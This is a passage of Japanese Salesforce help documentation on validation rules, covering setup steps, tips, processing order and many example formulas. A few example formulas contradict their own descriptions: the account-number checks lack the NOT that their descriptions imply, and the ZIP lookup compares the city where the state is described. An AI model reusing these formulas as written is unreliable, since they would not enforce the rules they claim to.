入力規則の記述のヒント
入力規則の例
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入力規則のコピー

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目の入力規則を表示す
る
• 「設定・定義を参照す

る」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

1. 関連オブジェクトの管理設定から、[入力規則] に移動します。
2. [入力規則] 関連リストで、入力規則の名前をクリックします。
3. [コピー] をクリックします。
4. 元の規則に基づいて、新規規則を定義します。
5. [保存] をクリックして終了するか、[保存 & 新規] をクリックして別の入力規

則を作成します。

メモ: 活動のカスタム項目の詳細ページには、関連付けられている入力規
則の一覧は表示されません。カスタム活動項目の入力規則を編集するには、
[設定] から [クイック検索]ボックスに「活動」と入力し、[活動]を選択し、
[ToDo の入力規則] または [行動の入力規則] を選択して、入力規則を選択し
ます。

関連トピック:

入力規則の定義
入力規則項目
入力規則の有効化
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入力規則の有効化

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目の入力規則を表示す
る
• 「設定・定義を参照す

る」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

1. 関連オブジェクトの管理設定から、[入力規則] に移動します。
2. 有効化する規則の横にある [編集] をクリックします。
3. 規則を有効化するには、[有効] を選択し、変更を保存します。
4. 規則を無効化するには、[有効] を選択解除し、変更を保存します。

メモ: 活動のカスタム項目の詳細ページには、関連付けられている入力規
則の一覧は表示されません。

関連トピック:

入力規則の定義
入力規則項目
オブジェクト管理設定の検索

入力規則項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

説明項目

拡張文字などの、空白や特殊文字を含まない最大 40

文字の一意の識別名。
ルール名

ルールが有効かどうかを示すチェックボックス。有効

他の入力規則との違いを明らかにする説明を 255 文字
以内で入力します。説明を記述します。

説明

項目を検証するために使用する式。「数式項目の作
成」および「数式の演算子と関数」を参照してくだ
さい。

エラー条件数式
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説明項目

項目が入力規則に違反するときにユーザに示すメッセージ。
組織でトランスレーションワークベンチを使用している場合は、エラー
メッセージを Salesforce がサポートする言語に翻訳できます。「トランス
レーションワークベンチの有効化および無効化」を参照してください。

エラーメッセージ

ページ上のどこにエラーを表示するかを決定します。項目の下にエラー
を表示するには、[項目] を選択して、その項目を指定します。エラーの

エラー表示場所

表示場所を項目にすると、詳細編集ページでその項目の下に表示されま
す。エラー表示場所として、削除された項目、参照のみの項目、または
ページレイアウト上で表示されない項目が設定されていると、Salesforce

は自動的にエラー表示場所を [ページの最上位へ] に変更します。

メモ: エラーメッセージは、ケースマイルストンおよびアイデアの
入力規則のページの最上部にのみ表示できます。

関連トピック:

入力規則の定義

入力規則の記述のヒント

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

• 割り当てルール、項目自動更新、項目レベルセキュリティ、またはページレ
イアウト上で非表示の項目など、レコードが入力規則に違反する可能性のあ
る組織内の設定をすべて検討してください。

• 同じ項目に対して、相反する入力規則を作成することのないよう注意してく
ださい。相反する入力規則があると、レコードを保存できません。

ヒント: 設計の甘い入力規則によって、有効なデータを保存できない場
合があります。入力規則は、徹底的にテストしてから有効化するように
してください。デバッグログを使用して、規則の実装の詳細を監視する
こともできます。

• 入力規則で関連項目を参照する場合は、それらのオブジェクトが配置されて
いることを確認してください。

• 数式に RecordType.Id差し込み項目を使用して、さまざまなレコードタイ
プに対して異なる入力規則を適用します。

• 入力規則の数式は、IF関数で始める必要はありません。Boolean エラー条件式
を使用します。次に例を示します。
– 正: CloseDate < TODAY()

– 誤: IF(CloseDate < TODAY(), TRUE, FALSE)
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• 入力規則に BEGINS関数や CONTAINS関数が含まれる場合、空白項目は有効として処理されます。たとえば、
納入商品のシリアル番号が「3」で始まるかを確認する入力規則がある場合、シリアル番号が空白の納入商
品は有効と判断されます。

• 数値項目に特定の値が確実に指定されるように入力規則を使用する場合は、値を含まない項目が ISBLANK関
数に含まれるようにします。たとえば、カスタム項目に確実に「1」が入力されるようにしたい場合は、入
力規則を次のように設定すると、項目が空白だったり、他の数字が入力されたりした場合にエラーを表示
できます。
OR (ISBLANK (field__c), field__c<>1)

• IsClosedまたは IsWon商談差し込み項目を入力規則数式で使用しないようにします。代わりに、ISPICKVAL

関数を使用して、[フェーズ]に該当する値が含まれているかどうかを判別します。たとえば、次の入力規
則数式によって、[フェーズ]が「商談成立」である場合は必ず、カスタム [プロジェクト開始日]項目が必
須項目に設定されます。
AND(ISPICKVAL(StageName, "Closed Won"),

ISBLANK(Project_Start_Date__c))

• チェックボックス項目を使うことで入力規則を簡易化できます。チェックボックス項目は「True」か「False」
を返すため、演算子を必要としません。たとえば、次の入力規則では、HasOpportunityLineItem 差し
込み項目を使うことで、商談を保存する前に商談商品を必ず関連付けるようにできます。
NOT(OR(ISNEW(),HasOpportunityLineItem))

入力規則エラーメッセージの記述のヒント
• 説明を加える。「無効な入力」などのエラーメッセージでは、どのような入力が有効なのかということが

ユーザに伝わりません。「[完了予定日] は本日より後の日付にしてください。」などの具体的なエラー
メッセージを使用してください。

• 常に項目の表示ラベルを含める。特にエラーメッセージがページ上部に表示されていると、どの項目が入
力規則に違反するのかがわかりません。

メモ: 入力規則を定義するとき、エラー表示場所を [ページの最上位へ] または [項目] に設定できま
す。エラー表示場所として、削除された項目、参照のみの項目、またはページレイアウト上で表示さ
れない項目が設定されていると、Salesforceは自動的にエラー表示場所を [ページの最上位へ]に変更し
ます。

• 多言語組織の場合は、エラーメッセージを翻訳します。エラーメッセージの翻訳には、トランスレーショ
ンワークベンチを使用できます。

• 入力規則とエラーメッセージに対応する番号を割り当てる。エラーが発生した規則を特定できます。

関連トピック:

入力規則の定義
入力規則の考慮事項
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入力規則の考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

レコードを保存する前に、入力したデータが指定した基準に合っているかどう
かを確認できます。入力規則は、1 つ以上の項目のデータを評価する数式や条件
式を設定し、「True」または「False」の値を返すことができます。不正な値があ
れば、「True」値を返すときにエラーメッセージを表示することもできます。組
織で入力規則を実装する前に、次の考慮事項を確認してください。

Salesforce での入力規則の処理方法
Salesforce は、次の順番でルールを処理します。
1. 入力規則
2. 割り当てルール
3. 自動レスポンスルール
4. ワークフロールール (ルール適用時のアクション)

5. エスカレーションルール
その他に、次の操作を実行できます。
• 入力規則の 1 つに違反しても、Salesforce は、その項目やそのページ上の他の項目に対する他の入力規則の

チェックを続行し、適切なエラーメッセージをすべて表示します。
• 活動に対する入力規則が存在し、リードの取引開始中に活動を作成すると、リードの取引は開始されます

が、ToDo が作成されません。
• 入力規則項目は、組織でリードの取引開始時の入力規則とトリガが有効になっている場合にのみ、リード

の取引開始時に実行されます。
• キャンペーン階層では、入力規則は無視されます。
• Salesforce は、Web-to-リードおよび Web-to-ケースによって登録されたレコードを作成する前に入力規則を実

行し、有効な値を持つレコードのみを作成します。
• 入力規則は、所有者が変更しても個々のレコードで引き続き実行されます。ただし、一括移行ツールを使

用して複数のレコードの所有者を変更した場合、入力規則はそれらのレコードでは実行されません。

入力規則項目の制限
入力規則の数式は、次の項目を参照できません。
• 住所、姓名、連動選択リスト、連動ルックアップなどの複合項目
• 個々のキャンペーンおよびキャンペーン階層の統計などのキャンペーン統計項目
• 自動採番の差し込み項目または [町名・番地(郵送先)] のような複合住所項目

メモ: [市区郡(請求先)] などの個々の住所項目に対する差し込み項目は、入力規則数式でも使用でき
ます。

また、Salesforce 内の他の項目および関数に関しては、入力規則は次のように動作します。
• 活動のカスタム項目の詳細ページには、関連付けられている入力規則の一覧は表示されません。
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• ワークフロールール基づき、プロセスのスケジュール済みアクションにも基づくレコードの更新は入力規
則を実行しないため、以前は有効な項目がワークフロールールおよび一部のプロセスによって無効な内容
に書き換えられることがあります。

• ルール適用時のアクションのプロセスレコード更新では、入力規則が実行されます。
• 積み上げ集計項目は編集ページに表示されないため、入力規則では使用できますが、入力エラーの表示場

所としては使用できません。

ルックアップ検索条件と入力規則
入力規則とルックアップ検索条件の目的は類似していますが、それぞれ異なる利点があります。次のような場
合、ルックアップ検索条件を使用します。
• ルックアップ検索ダイアログの選択可能なオプションの数を制限してユーザの効率を向上させる。
• ユーザが手動で設定するルックアップ検索ダイアログの検索条件を自動化してユーザの効率を向上させる。
次のような場合、入力規則を使用します。
• 最大許容ルックアップ検索条件数に近づいている。
• 数式を必要とする複雑なビジネスルールを実装する必要がある。数式では、ソースオブジェクトの親の項

目など、基本的な検索条件では参照できないような項目を参照できます。数式では関数を使用することも
できます。たとえば、レコードの作成時にのみルールを適用する場合には ISNEWを使用し、項目の変更時
にルールを適用する場合には ISCHANGED を使用します。

関連トピック:

入力規則の定義
入力規則の有効化
入力規則の例
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入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

ユーザ権限

項目の入力規則を表示す
る
• 「設定・定義を参照す

る」

項目の入力規則を定義ま
たは変更する
• 「アプリケーションの

カスタマイズ」

さまざまな種別のアプリケーションでの入力規則の例を確認してください。こ
れらの例を使用し、自分の目的に合わせて変更できます。入力規則によって、
レコードを保存する前に、入力したデータが指定した基準に合っているかどう
かを確認できます。
Salesforce および Force.com AppExchange アプリケーションでの入力規則は、次のよ
うに使用できます。

取引先住所入力規則の例
取引先入力規則の例
コールセンター入力規則の例
コミュニティの入力規則の例
取引先責任者入力規則の例
オブジェクト間の入力規則の例
日付入力規則の例
数字入力規則の例
商談管理の入力規則の例
見積の入力規則の例
ユーザ、ロール、およびプロファイル入力規則の例
その他の入力規則の例

関連トピック:

入力規則
入力規則の定義
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取引先住所入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

郵便番号 (請求先) (カナダ)

値項目

[郵便番号(請求先)] がカナダの場合に、取引先の [国
(請求先)] が正しい形式になっていることを確認しま
す。

説明:

AND(
OR(BillingCountry = "CAN", BillingCountry =
"CA", BillingCountry = "Canada"),
NOT(REGEX(BillingPostalCode,
"((?i)[ABCEGHJKLMNPRSTVXY]\\d[A-Z]?\\s?\\d[A-Z]\\d)?"))
)

数式:

カナダの郵便番号は A9A 9A9 形式にする必要がありま
す。

エラーメッセージ:

郵便番号(請求先)エラー表示場所:

郵便番号 (請求先) は都道府県(請求先) に含まれる

値項目

取引先の[郵便番号(請求先)]の先頭 5 文字で、米国内で有効なすべての郵便
番号を格納している Zip_Code__c というカスタムオブジェクトの値を検索し、
請求先郵便番号が有効であることを確認します。郵便番号が Zip_Code__c オ
ブジェクトで見つからない場合や、[都道府県(請求先)] が、Zip_Code__c オ
ブジェクト内の対応する State_Code__c と一致しない場合には、エラーが表示
されます。

説明:

VLOOKUP(
$ObjectType.Zip_Code__c.Fields.City__c ,
$ObjectType.Zip_Code__c.Fields.Name ,
LEFT(BillingPostalCode,5)) <> BillingCity

数式:

指定した都道府県(請求先) に郵便番号 (請求先) がありません。エラーメッセージ:

郵便番号(請求先)エラー表示場所:
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郵便番号 (請求先) (US)

値項目

[国(請求先)] が USA または US の場合に、取引先の [郵便番号(請求先)] が
99999 または 99999-9999 の形式になっていることを確認します。

説明:

AND(
OR(BillingCountry = "USA", BillingCountry = "US"),
NOT(REGEX(BillingPostalCode, "\\d{5}(-\\d{4})?"))
)

数式:

メモ: この例では、REGEX 関数を使用しています。正規表現に慣れてい
ないユーザは、「郵便番号 (納入先)」を参照してください。

郵便番号は 99999 または 99999-9999 の形式で指定してください。エラーメッセージ:

郵便番号(請求先)エラー表示場所:
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郵便番号 (納入先)
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値項目

[国(納入先)] が USA または空白の場合に、取引先の [郵便番号(納入先)] が 99999

または 99999-9999 の形式になっていることを確認します。
説明:

AND(
OR(ShippingCountry = "USA", ISBLANK(ShippingCountry)),
OR(
AND(LEN(ShippingPostalCode) <>5,

LEN(ShippingPostalCode) <> 10),
NOT(CONTAINS("0123456789",

LEFT( ShippingPostalCode, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",

MID( ShippingPostalCode , 5, 1))),
AND(
LEN(ShippingPostalCode) = 10,
OR(
MID( ShippingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 7, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 8, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 9, 1))),

NOT(CONTAINS("0123456789",
MID( ShippingPostalCode , 10, 1)))

)
)
)
)

数式:

メモ: この例では、国が空白の場合は米国であると解釈されます。この例を
他の国に置き換えて使用する場合は、[国(請求先)] 項目の文字数を調べる句の
括弧を削除してください。また、入力規則条件では大文字と小文字が区別さ
れます。したがって、この規則は国名として空白または大文字で「USA」と入
力された場合にのみ有効です。国名として「usa」と入力した場合は、規則が
実行されません。

ヒント: 正規表現を使用して郵便番号を確認することもできます。正規表現
を使用した数式例については、「数式の演算子と関数 I – Z」 (ページ 5549)を参
照してください。

郵便番号は 99999 または 99999-9999 の形式で指定してください。エラーメッセージ:

郵便番号(納入先)エラー表示場所:
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有効な都道府県(請求先) (米国)

値項目

[国(請求先)] が US、USA、または空白の場合、取引先の [都道府県(請求
先)] が、2 文字の有効な略号になっているかを確認します。

説明:

AND (
OR(BillingCountry = "US", BillingCountry="USA",
ISBLANK(BillingCountry)),
OR(
LEN(BillingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", BillingState)
)))

数式:

メモ: この例では、国が空白の場合は米国であると解釈されます。こ
の例を他の国に置き換えて使用する場合は、[国(請求先)] 項目の文字数
を調べる句の括弧を削除してください。また、入力規則条件では大文
字と小文字が区別されます。したがって、この規則は国名として空白
または大文字で「USA」と入力された場合にのみ有効です。国名とし
て「usa」と入力した場合は、規則が実行されません。

2 文字からなる有効な州コードが必要です。エラーメッセージ:

都道府県(請求先)エラー表示場所:

有効な [都道府県(請求先)] (カナダ)

値項目

[国(請求先)] が CA または CAN の場合、取引先の [都道府県(請求先)] が、2 文字の有効
な略号になっているかを確認します。

説明:

AND (
OR(BillingCountry = "CA", BillingCountry="CAN"),
OR(
LEN(BillingState) < 2,
NOT(

CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", BillingState)
)))

数式:

2 文字から成る有効な州コードが必要です。エラーメッセージ:

都道府県(請求先)エラー表示場所:
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有効な都道府県(納入先)

値項目

[国(納入先)]が US、USA、または空白の場合、取引先の [都道府県(納入先)]が、2 文字
の有効な略号になっているかを確認します。

説明:

AND (
OR(ShippingCountry = "US", ShippingCountry="USA",
ISBLANK(ShippingCountry)),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AL:AK:AZ:AR:CA:CO:CT:DE:DC:FL:GA:HI:ID:" &
"IL:IN:IA:KS:KY:LA:ME:MD:MA:MI:MN:MS:MO:MT:NE:NV:NH:" &
"NJ:NM:NY:NC:ND:OH:OK:OR:PA:RI:SC:SD:TN:TX:UT:VT:VA:" &
"WA:WV:WI:WY", ShippingState)
)))

数式:

メモ: この例では、国が空白の場合は米国であると解釈されます。この例を他の国
に置き換えて使用する場合は、[国(請求先)] 項目の文字数を調べる句の括弧を削除
してください。また、入力規則条件では大文字と小文字が区別されます。したがっ
て、この規則は国名として空白または大文字で「USA」と入力された場合にのみ有
効です。国名として「usa」と入力した場合は、規則が実行されません。

2 文字から成る有効な州の略号が必要です。エラーメッセージ:

都道府県(納入先)エラー表示場所:

有効な [都道府県(納入先)] (カナダ)

値項目

[国(請求先)] が CA または CAN の場合、取引先の [都道府県(納入先)] が、2 文字の有効
な略号になっているかを確認します。

説明:

AND (
OR(ShippingCountry = "CA", ShippingCountry="CAN"),
OR(
LEN(ShippingState) < 2,
NOT(
CONTAINS("AB:BC:MB:NB:NL:NT:NS:NU:ON:PC:QC:SK:YT", ShippingState)
)))

数式:

2 文字から成る州の略号が必要です。エラーメッセージ:

都道府県(納入先)エラー表示場所:
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有効な [国(請求先)]

値項目

取引先の [国(請求先)] が、ISO 3166 で有効な 2 文字のコードになっているかを確認しま
す。

説明:

OR(
LEN(BillingCountry) = 1,
NOT(
CONTAINS(
"AF:AX:AL:DZ:AS:AD:AO:AI:AQ:AG:AR:AM:" &
"AW:AU:AZ:BS:BH:BD:BB:BY:BE:BZ:BJ:BM:BT:BO:" &
"BA:BW:BV:BR:IO:BN:BG:BF:BI:KH:CM:CA:CV:KY:" &
"CF:TD:CL:CN:CX:CC:CO:KM:CG:CD:CK:CR:CI:HR:" &
"CU:CY:CZ:DK:DJ:DM:DO:EC:EG:SV:GQ:ER:EE:ET:FK:" &
"FO:FJ:FI:FR:GF:PF:TF:GA:GM:GE:DE:GH:GI:GR:GL:" &
"GD:GP:GU:GT:GG:GN:GW:GY:HT:HM:VA:HN:HK:HU:" &
"IS:IN:ID:IR:IQ:IE:IM:IL:IT:JM:JP:JE:JO:KZ:KE:KI:" &
"KP:KR:KW:KG:LA:LV:LB:LS:LR:LY:LI:LT:LU:MO:MK:" &
"MG:MW:MY:MV:ML:MT:MH:MQ:MR:MU:YT:MX:FM:MD:MC:" &
"MC:MN:ME:MS:MA:MZ:MM:MA:NR:NP:NL:AN:NC:NZ:NI:" &
"NE:NG:NU:NF:MP:NO:OM:PK:PW:PS:PA:PG:PY:PE:PH:" &
"PN:PL:PT:PR:QA:RE:RO:RU:RW:SH:KN:LC:PM:VC:WS:" &
"SM:ST:SA:SN:RS:SC:SL:SG:SK:SI:SB:SO:ZA:GS:ES:" &
"LK:SD:SR:SJ:SZ:SE:CH:SY:TW:TJ:TZ:TH:TL:TG:TK:" &
"TO:TT:TN:TR:TM:TC:TV:UG:UA:AE:GB:US:UM:UY:UZ:" &
"VU:VE:VN:VG:VI:WF:EH:YE:ZM:ZW",
BillingCountry)))

数式:

2 文字の有効な国コードを入力してください。エラーメッセージ:

国(請求先)エラー表示場所:
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取引先入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

取引先番号は数値で指定する

値項目

[取引先番号]が数値になっていることを確認します (空
白でない場合)。

説明:

AND(
ISBLANK(AccountNumber),
NOT(ISNUMBER(AccountNumber))

)

数式:

取引先番号が数値になっていません。エラーメッセージ:

取引先番号エラー表示場所:

取引先番号の長さ

値項目

[取引先番号] が空白でない場合は、7 桁あることを確認します。7 桁という
数は説明を目的としたものです。実際は、必要な桁数に変更できます。

説明:

AND(
ISBLANK(AccountNumber),
LEN(AccountNumber) <> 7

)

数式:

取引先番号は 7 桁で指定してください。エラーメッセージ:

取引先番号エラー表示場所:
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年間売上の範囲

値項目

[年間売上] が負の数でないことと、1000 億ドルを超えないことを確認しま
す。この制限は、入力ミスを防ぐために設けてあります。

説明:

OR(
AnnualRevenue < 0,
AnnualRevenue > 100000000000

)

数式:

年間売上は 1000 億ドル以内で指定してください。エラーメッセージ:

年間売上エラー表示場所:

コールセンター入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

原因が「その他」の場合に条件付きで説明を要求する

値項目

ケースに「その他」の値を持つ [原因]がある場合に、
[その他の理由] というカスタム項目に値が指定されて
いることを確認します。

説明:

AND(
ISPICKVAL( Reason, "Other" ),
ISBLANK(Other_Reason__c)

)

数式:

[その他の理由] の説明が必要です。エラーメッセージ:

その他の理由エラー表示場所:
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オープンケースの「新規」へのリセット防止

値項目

ケースがすでにオープンになっている場合に、[状況] が「新規」に戻され
るのを防止します。

説明:

AND(
ISCHANGED( Status ),
NOT(ISPICKVAL(PRIORVALUE( Status ), "New")),
ISPICKVAL( Status, "New")

)

数式:

オープンになっているケースの状況は「新規」にリセットできません。エラーメッセージ:

状況エラー表示場所:

再度オープンになったケースの状況を制限する

値項目

クローズケースが再度オープンになった場合に、ケースの[状況]に「再オー
プン」が指定されていることを確認します。

説明:

AND(
ISCHANGED( Status ),
OR(

ISPICKVAL(PRIORVALUE( Status ), "Closed"),
ISPICKVAL(PRIORVALUE( Status ),

"Closed in SSP")),
NOT( ISPICKVAL( Status, "Re-Opened"))

)

数式:

クローズケースは「再オープン」にのみ変更できます。エラーメッセージ:

状況エラー表示場所:
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ケースがクローズされた後にケースマイルストンが完了しないようにする

値項目

マイルストンの [完了日] が、ケースの [状況] がクローズされた後になら
ないように確認します。

説明:

Case.IsClosed = true
数式:

ケースがクローズされた後に、マイルストンを完了することはできません。エラーメッセージ:

ページの最上位へエラー表示場所:

ケース作成日より前にケースマイルストンが完了しないようにします。

値項目

マイルストンの [完了日]がケースの [オープン日時]の後になっていること
を確認します。

説明:

CompletionDate >= Case.CreatedDate && CompletionDate <=
Case.ClosedDate

数式:

マイルストン完了日は、ケース作成日の後、およびケースクローズ日の前に
する必要があります。

エラーメッセージ:

ページの最上位へエラー表示場所:

コミュニティの入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

質問に不適切な表現が入力されないようにする

値項目

ユーザが質問を投稿する際に [タイトル] や [説明] に
不適切な表現を入力しないようにします。

説明:

OR(CONTAINS(Title, 'darn'), CONTAINS(Body,
'darn'))

数式:

質問のタイトルに不適切な表現が含まれています。エラーメッセージ:
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回答に不適切な表現が入力されないようにする

値項目

質問に回答するときに不適切な表現を入力しないようにします。説明:

OR(CONTAINS(Body, 'darn'), CONTAINS(Body, 'dang'))
数式:

回答に不適切な表現が含まれています。エラーメッセージ:

アイデアに不適切な表現が入力されないようにする

値項目

ユーザがアイデアを投稿する際に [タイトル]や [説明]に不適切な表現を入
力しないようにします。

説明:

OR(CONTAINS(Title, 'darn'), CONTAINS(Body, 'darn'))
数式:

アイデアのタイトルに不適切な表現が含まれています。エラーメッセージ:

アイデアのコメントに不適切な表現が入力されないようにする

値項目

ユーザがコメントを投稿する際に不適切な表現を入力しないようにします。説明:

OR(CONTAINS(CommentBody , 'darn'), CONTAINS(CommentBody,
'dang'))

数式:

コメントに不適切な表現が含まれています。エラーメッセージ:
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取引先責任者入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

[住所 (郵送先)] 項目の入力要求

値項目

取引先責任者の [町名・番地(郵送先)]、[市区郡(郵送
先)]、および [国(郵送先)]が指定されていることを確
認します。

説明:

OR(
ISBLANK( MailingStreet ),
ISBLANK( MailingCity ),
ISBLANK( MailingCountry )

)

数式:

郵送先の国、市区郡、および町名・番地が必要です。エラーメッセージ:

ページの最上位へエラー表示場所:

[町名・番地 (郵送先)] の入力要求

値項目

取引先責任者の [町名・番地(郵送先)]が指定されていることを確認します。説明:

ISBLANK( MailingStreet )
数式:

[町名・番地 (郵送先)] を指定してください。エラーメッセージ:

町名・番地(郵送先)エラー表示場所:
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郵便番号 (郵送先)
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値項目

[国(郵送先)] が USA または空白の場合に、取引先責任者の [郵便番号(郵送先)] が
99999 または 99999-9999 の形式になっていることを確認します。

説明:

AND(
OR(MailingCountry = "USA", ISBLANK(MailingCountry)),
OR(
AND(LEN(MailingPostalCode) <>5,
LEN(MailingPostalCode) <> 10),
NOT(CONTAINS("0123456789",

LEFT( MailingPostalCode, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 2, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 3, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 4, 1))),
NOT(CONTAINS("0123456789",

MID( MailingPostalCode , 5, 1))),
AND(
LEN(MailingPostalCode) = 10,
OR(
MID( MailingPostalCode , 6, 1) <> "-",
NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 7, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 8, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 9, 1))),

NOT(CONTAINS("0123456789",
MID( MailingPostalCode , 10, 1)))

)
)
)
)

数式:

メモ: この例では、国が空白の場合は米国であると解釈されます。この例を
他の国に置き換えて使用する場合は、[国(請求先)] 項目の文字数を調べる句の
括弧を削除してください。また、入力規則条件では大文字と小文字が区別さ
れます。したがって、この規則は国名として空白または大文字で「USA」と入
力された場合にのみ有効です。国名として「usa」と入力した場合は、規則が
実行されません。

ヒント: 正規表現を使用して郵便番号を確認することもできます。正規表現
を使用した数式例については、「数式の演算子と関数 I – Z」 (ページ 5549)を参
照してください。

郵便番号は 99999 または 99999-9999 の形式で指定してください。エラーメッセージ:

郵便番号(郵送先)エラー表示場所:
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国番号を含んだ電話番号の指定

値項目

[電話] 番号が国番号を表すプラス (+) で始まっていることを確認します。こ
の入力規則は、10 桁の米国電話番号の入力規則と矛盾します。

説明:

LEFT(Phone, 1) <> "+"
数式:

電話番号は、+ (国番号) から指定してください。エラーメッセージ:

電話エラー表示場所:

10 桁での米国の電話番号の指定

値項目

[電話]番号が (999) 999-9999 の形式で指定されていることを確認します。この
機能は、REGEX 関数を使用して、数値が 10 桁で (999) 999-9999 形式になってい
ることを確認します。

説明:

NOT(REGEX(Phone, "\\D*?(\\d\\D*?){10}"))
数式:

米国の電話番号は (999) 999-9999 の形式で指定してください。エラーメッセージ:

電話エラー表示場所:

オブジェクト間の入力規則の例

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Database.com Edition

これらの例で使用する数式関数についての詳細は、「数式の演算子と関数」
(ページ 5502)を参照してください。

範囲内で割引する
この例では、商談商品に関する 3 つの入力規則を使用します。下の例を組合せ
て使用して、商品の割引金額を管理します。これらの例では、[ライン割引] と
いう商談商品のカスタムパーセント項目が必要です。また、価格表を使用し、
「ソフトウェア」、「コンサルティング」、および「トレーニング」の値を含む
[商品ファミリ] 項目をカスタマイズする必要もあります。
ソフトウェア割引

値項目

割引率が 10 パーセントを超えるソフト
ウェア商品を保存できないようにしま
す。

説明:
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値項目

AND(Line_Discount__c > 0.10,
ISPICKVAL(Product2.Family, "Software"))

数式:

ソフトウェア商品の割引率は 10% 以内にする必要があ
ります。

エラーメッセージ:

ライン割引エラー表示場所:

コンサルティング割引

値項目

割引率が 15 パーセントを超えるコンサルティング商
品を保存できないようにします。

説明:

AND(Line_Discount__c > 0.15,
ISPICKVAL(Product2.Family, "Consulting"))

数式:

コンサルティング商品の割引率は 15% 以内にする必要
があります。

エラーメッセージ:

ライン割引エラー表示場所:

トレーニング割引

値項目

割引率が 20 パーセントを超えるトレーニング商品を
保存できないようにします。

説明:

AND(Line_Discount__c > 0.20,
ISPICKVAL(Product2.Family, "Training"))

数式:

トレーニング商品の割引率は 20% 以内にする必要があ
ります。

エラーメッセージ:

ライン割引エラー表示場所:

完了した商談の商談商品を変更できないようにする
この例では、2 つの入力規則 (商談商品に関する入力規則と商談に関する入力規則) を使用します。
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値項目

商談が完了した後に、商談商品を編集できないように
します。商談商品に関する次の入力規則例を作成しま
す。

説明:

OR(ISPICKVAL(Opportunity.StageName, "Closed
Won"), ISPICKVAL(Opportunity.StageName,
"Closed Lost"))

数式:

完了した商談の商談商品は変更できません。エラーメッセージ:

ページの最上位へエラー表示場所:

次の入力規則例は、商談に関するものです。

値項目

商談が完了した後に、商談商品を削除できないように
します。商談に関する次の入力規則例を作成します。

説明:

